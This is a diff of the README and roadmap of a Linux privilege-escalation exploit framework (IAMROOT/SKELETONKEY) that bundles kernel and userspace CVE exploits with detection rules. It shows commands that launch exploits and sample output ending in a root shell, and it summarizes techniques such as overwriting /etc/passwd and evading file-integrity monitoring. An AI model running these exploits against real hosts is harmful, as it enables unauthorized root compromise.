./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
```
|
||||
|
||||
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||
paths.
|
||||
|
||||
### Example: unprivileged → root
|
||||
|
||||
```text
|
||||
$ id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
$ iamroot --scan
|
||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 45 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
[ ] auto: copy_fail patched or not applicable
|
||||
[ ] auto: nf_tables precondition not met
|
||||
...
|
||||
|
||||
$ iamroot --exploit dirty_pipe --i-know
|
||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
||||
[+] dirty_pipe: spawning su root
|
||||
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||
[*] auto: launching --exploit pwnkit...
|
||||
|
||||
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
|
||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
||||
for the blue-team deployment guide.
|
||||
The safety ranking goes: **structural escapes** (no kernel state
|
||||
touched) → **page-cache writes** → **userspace cred-races** →
|
||||
**kernel primitives** → **kernel races** (least predictable). The
|
||||
goal is to never crash a production box looking for root.
|
||||
|
||||
## What this is
|
||||
## How it works
|
||||
|
||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||||
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
|
||||
is empirically verified to work on the kernels it claims to target,
|
||||
CI-tested across a distro matrix, and ships with the detection
|
||||
signatures defenders need to spot it in their environment.
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface (`detect / exploit / mitigate /
|
||||
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||
top-level binary dispatches per command:
|
||||
|
||||
The same binary covers offense and defense:
|
||||
- `--scan` walks every module's `detect()` against the running host
|
||||
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||
`--i-know` flag is the authorization gate)
|
||||
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||
embedded rule corpus
|
||||
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||
|
||||
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
|
||||
apply, and which are blocked by patches/config/LSM
|
||||
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
|
||||
authorization gate)
|
||||
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
|
||||
every bundled CVE so blue teams can drop them into their tooling
|
||||
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
|
||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design.
|
||||
|
||||
## The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. The shared `--full-chain` finisher only returns
|
||||
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||
populate the offset table once per target kernel via
|
||||
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||
|
||||
## Build from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||
cd SKELETONKEY
|
||||
make
|
||||
./skeletonkey --version
|
||||
```
|
||||
|
||||
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||
also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
|
||||
across the 2016 → 2026 LPE timeline:
|
||||
**v0.10.0 cut 2026-07-24 — the exploit-verification release.** The corpus
|
||||
moved from *detect*-verified to **out-of-band exploit-verified**: **11 modules
|
||||
now confirmed landing `uid=0` in a VM**, each witnessed independently (a
|
||||
root-owned artifact / `/etc/shadow` read / setuid-bash sentinel) rather than
|
||||
self-reported. Along the way, **four modules that falsely reported `EXPLOIT_OK`
|
||||
without ever getting root were fixed** (`pwnkit`, `ptrace_traceme`, `dirty_pipe`,
|
||||
`dirty_cow`), and a full false-`EXPLOIT_OK` audit was closed — every success
|
||||
claim is now backed by a real out-of-band check. See `docs/EXPLOITED.md`.
|
||||
46 modules across 41 CVEs — **every year 2016 → 2026 now covered**. Newest
|
||||
module: `refluxfs` (CVE-2026-64600,
|
||||
Qualys TRU's "RefluXFS" — a nine-year TOCTOU race in the XFS **reflink
|
||||
copy-on-write** path: `xfs_reflink_fill_cow_hole()` drops `ILOCK` to wait
|
||||
for transaction log space, then re-checks the refcount btree at a
|
||||
**stale** physical block without re-reading the data fork, so a
|
||||
direct-I/O writer treats a still-shared block as private and writes to it
|
||||
in place. The primitive is an arbitrary overwrite of the **on-disk
|
||||
contents of any readable file** — data, not memory corruption — so there
|
||||
are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux
|
||||
enforcing, containers and seccomp are all irrelevant. Because the
|
||||
victim's inode is never written, its `mtime`/`ctime`/size never change
|
||||
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
||||
no crafted image — reachable wherever an XFS volume is mounted
|
||||
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
||||
Fedora Server ≥ 31 and Amazon Linux 2023. **🟢 VM-verified full chain**:
|
||||
`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`,
|
||||
races the CoW window, strips root's password on-disk and returns
|
||||
`EXPLOIT_OK` (`su root`, empty password → uid 0) — confirmed on Rocky 9.8,
|
||||
every other account preserved, backed up + restorable. One caveat found
|
||||
in testing: the target's extent must be **private** going in (an
|
||||
already-shared file isn't attackable; normal `useradd`/`passwd` churn
|
||||
makes it private). Plain `--exploit` runs only a safe own-files trigger),
|
||||
`ghostlock` (CVE-2026-43499,
|
||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
||||
raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any
|
||||
unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public
|
||||
PoC ($92k, ~97% stable) — shipped as a deliberately under-driven,
|
||||
reconstructed trigger anchored on a safe `-EDEADLK` reachability witness
|
||||
with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242,
|
||||
Jaeyoung Chung's "Bad Epoll" — a race UAF in `fs/eventpoll.c` reachable by
|
||||
any unprivileged user with no user namespace; kernelCTF public PoC),
|
||||
`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate`
|
||||
abort-path UAF — an inverted condition frees a chain still referenced by a
|
||||
catch-all GOTO map element; public reproduction by FuzzingLabs), and
|
||||
`cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" — the
|
||||
`cifs.spnego` key type trusts userspace-forged authority fields, coercing
|
||||
the root `cifs.upcall` helper into loading an attacker NSS module as root).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**v0.10.0 is the exploit-verification release**: **31 empirically verified**
|
||||
against real Linux VMs (Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + Rocky
|
||||
Linux 9.8 + mainline kernels from kernel.ubuntu.com), and **11 modules run to a
|
||||
real root shell and witnessed out-of-band** — which also surfaced and fixed
|
||||
four modules that had been falsely reporting `EXPLOIT_OK` without ever getting
|
||||
root (see [`docs/EXPLOITED.md`](docs/EXPLOITED.md)). 148-test unit harness +
|
||||
ASan/UBSan + clang-tidy on every push. 4 prebuilt binaries (x86_64 + arm64,
|
||||
each in dynamic + static-musl flavors).
|
||||
|
||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||||
- 🟡 **11 modules fire the kernel primitive** by default and refuse
|
||||
to claim root without empirical confirmation. Pass `--full-chain`
|
||||
to engage the shared `modprobe_path` finisher and attempt root
|
||||
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
||||
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
|
||||
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
||||
nft_payload, nft_set_uaf, stackrot.
|
||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||
are exported via `iamroot --detect-rules --format=…`.
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`.
|
||||
- **Test harness** (`tests/`, `make test`) — 148 tests: 33 kernel_range
|
||||
unit tests + 115 detect() integration tests over mocked host
|
||||
fingerprints. Runs in CI on every push.
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 31 of 41 CVEs confirmed; **11
|
||||
modules additionally run to a real root shell and witnessed out-of-band**
|
||||
(`docs/EXPLOITED.md`).
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 13 of 41 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||||
Not yet verified (10 of 41 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs —
|
||||
needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not
|
||||
autoloaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs
|
||||
need t64-transition libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd`
|
||||
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
||||
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
||||
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
|
||||
deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
|
||||
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
|
||||
VM-verified). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
(`dirty_cow` and `sudo_host` graduated to VM-verified this release.)
|
||||
|
||||
## Why this exists
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
|
||||
The Linux kernel privilege-escalation space is fragmented:
|
||||
## Contributing
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
||||
exploits, don't run them
|
||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
||||
stale, no CI, no defensive signatures
|
||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||||
within months of release, often only one distro
|
||||
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
IAMROOT's bet is that there's room for a single curated bundle that
|
||||
(1) actively maintains a small set of high-quality exploits across a
|
||||
multi-distro matrix, and (2) ships detection rules alongside each
|
||||
exploit so the same project serves both red and blue teams.
|
||||
|
||||
## Architecture
|
||||
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface: `detect()`, `exploit()`,
|
||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
||||
ranges, distro coverage, and CI test matrix.
|
||||
|
||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
||||
fingerprinting, common utilities) lives in `core/`.
|
||||
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design and how to add a new CVE.
|
||||
|
||||
## Build & run
|
||||
**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
|
||||
polls Debian's security tracker and reports drift between each
|
||||
module's hardcoded `kernel_patched_from` thresholds and the
|
||||
fixed-versions Debian actually ships. Run periodically (or in CI)
|
||||
to catch new backports that need to land in the corpus:
|
||||
|
||||
```bash
|
||||
make # build all modules
|
||||
./iamroot --scan # what's this box vulnerable to? (no sudo)
|
||||
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
|
||||
./iamroot --detect-rules --format=sigma > rules.yml
|
||||
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
|
||||
research credit belongs to the people who found the bugs.
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||
the research credit belongs to the people who found the bugs.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
+184
-23
@@ -15,18 +15,18 @@ commitments.
|
||||
|
||||
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
||||
|
||||
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
|
||||
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
|
||||
registry, route to module's detect/exploit
|
||||
- [x] Module interface header (`core/module.h`) — standard
|
||||
`iamroot_module` struct + `iamroot_result_t` (numerically
|
||||
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
|
||||
aligned with copy_fail_family's `df_result_t` for zero-cost
|
||||
bridging)
|
||||
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
||||
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
|
||||
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
|
||||
exposing 5 modules
|
||||
- [x] Top-level `Makefile` that builds all modules into one binary
|
||||
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
|
||||
`iamroot --list` prints the module inventory
|
||||
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
|
||||
`skeletonkey --list` prints the module inventory
|
||||
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
||||
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
||||
across families). Phase 1 keeps them inside copy_fail_family/src/
|
||||
@@ -35,7 +35,7 @@ commitments.
|
||||
|
||||
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
||||
|
||||
Public PoC, well-understood, useful for completeness — IAMROOT
|
||||
Public PoC, well-understood, useful for completeness — SKELETONKEY
|
||||
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
||||
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
||||
deployments (worth bundling — many production boxes still run
|
||||
@@ -49,7 +49,7 @@ these).
|
||||
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
||||
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
||||
watches) and `sigma.yml` (non-root modification of sensitive files)
|
||||
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
|
||||
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
|
||||
kernel 6.12.86 → correctly reports OK (patched).
|
||||
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
||||
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
||||
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
|
||||
|
||||
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
||||
- [x] Exposed as a library helper: other modules can call
|
||||
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
|
||||
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
|
||||
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
|
||||
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
|
||||
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
||||
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
||||
- [x] `entry_SYSCALL_64` slot offset configurable via
|
||||
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||
Future enhancement: auto-detect via /boot/System.map or
|
||||
/proc/kallsyms if accessible.
|
||||
|
||||
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
|
||||
|
||||
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
||||
|
||||
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
|
||||
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
|
||||
across all modules (deduped — family-shared rules emit once)
|
||||
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
|
||||
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
|
||||
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
||||
strings can be added when authors ship them. Currently no module
|
||||
ships YARA or Falco rules (skipped cleanly).
|
||||
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
|
||||
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
|
||||
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
||||
embedded C string. Self-contained binary, no data-dir install needed.
|
||||
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
||||
|
||||
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
||||
|
||||
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
|
||||
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
|
||||
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
||||
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
||||
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
||||
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
|
||||
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
|
||||
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
||||
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
||||
sufficient for common usage patterns.
|
||||
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
|
||||
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
|
||||
(already landed in Phase 2 complete).
|
||||
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
||||
no automated mitigation possible. Document and skip.
|
||||
@@ -164,33 +164,194 @@ Backfill of historical and recent LPEs as time allows.
|
||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||
|
||||
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||
structural argv-injection (no kernel state, no offsets).
|
||||
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||
|
||||
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||
of the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||
stub is retired. The stub's open question ("is the
|
||||
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||
is closed.
|
||||
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||
decrypt page-cache write. Ported from the V12 PoC.
|
||||
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||
confidence `detect()` — reads PackageKit's version directly over
|
||||
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||
Adds an optional GLib/GIO build dependency, autodetected via
|
||||
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||
`--active` so the probes give definitive verdicts; each
|
||||
`detect()` runs in a fork-isolated child so one bad probe
|
||||
cannot tear down the scan.
|
||||
|
||||
**--auto accuracy work (landed 2026-05-22):**
|
||||
|
||||
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||
checks can no longer be fooled by silent distro backports.
|
||||
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||
precondition / indeterminate) instead of only printing the
|
||||
`VULNERABLE` rows.
|
||||
- [x] Scan-end summary line counting each verdict class.
|
||||
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||
printed in the `--auto` banner alongside kernel + arch.
|
||||
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||
module's probe is contained and the scan continues. Surfaced
|
||||
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||
CPUs: exactly the failure mode the isolation now handles.
|
||||
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||
operation) without firing. Works with `--auto`, `--exploit`,
|
||||
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||
`--i-know` (nothing fires) so operators can inspect the host's
|
||||
attack surface without arming. Bare `--auto` still gates on
|
||||
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||
their verdicts; `--active` confirms empirically on top.
|
||||
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||
`struct skeletonkey_host` is populated once at startup and
|
||||
handed to every module via `ctx->host`: kernel version + arch
|
||||
+ distro id/version + capability gates (unprivileged_userns,
|
||||
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||
so operators see at a glance which gates are open. 4 modules
|
||||
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||
future modules can opt-in by including `core/host.h`.
|
||||
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||
consume `ctx->host` — incremental follow-up.
|
||||
|
||||
**Carry-overs:**
|
||||
|
||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||
- [ ] Fragnesia (if it lands as a CVE)
|
||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||
ships (responsible-disclosure-first)
|
||||
|
||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||
None requires fresh research — each has a public reference exploit;
|
||||
the work is porting the per-kernel offset dance into a portable
|
||||
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
|
||||
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
|
||||
likely as an env-var override table per distro+kernel, with offset
|
||||
auto-resolve via System.map / kallsyms when accessible).
|
||||
|
||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
||||
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||
race window makes it inherently low-yield.
|
||||
race window makes it inherently low-yield; the nft_* family and
|
||||
vmwgfx need their per-kernel offset tables built out.
|
||||
|
||||
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
**not** part of this Phase 8 promotion set — they need VM verification
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||
|
||||
The largest single jump in trust signal: every claim in the corpus is
|
||||
now backed by either a unit test (88-test harness) or a real-VM
|
||||
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||
|
||||
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro + mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||
module, emits JSONL verification records.
|
||||
- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||
field downloads vanilla mainline .debs from
|
||||
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
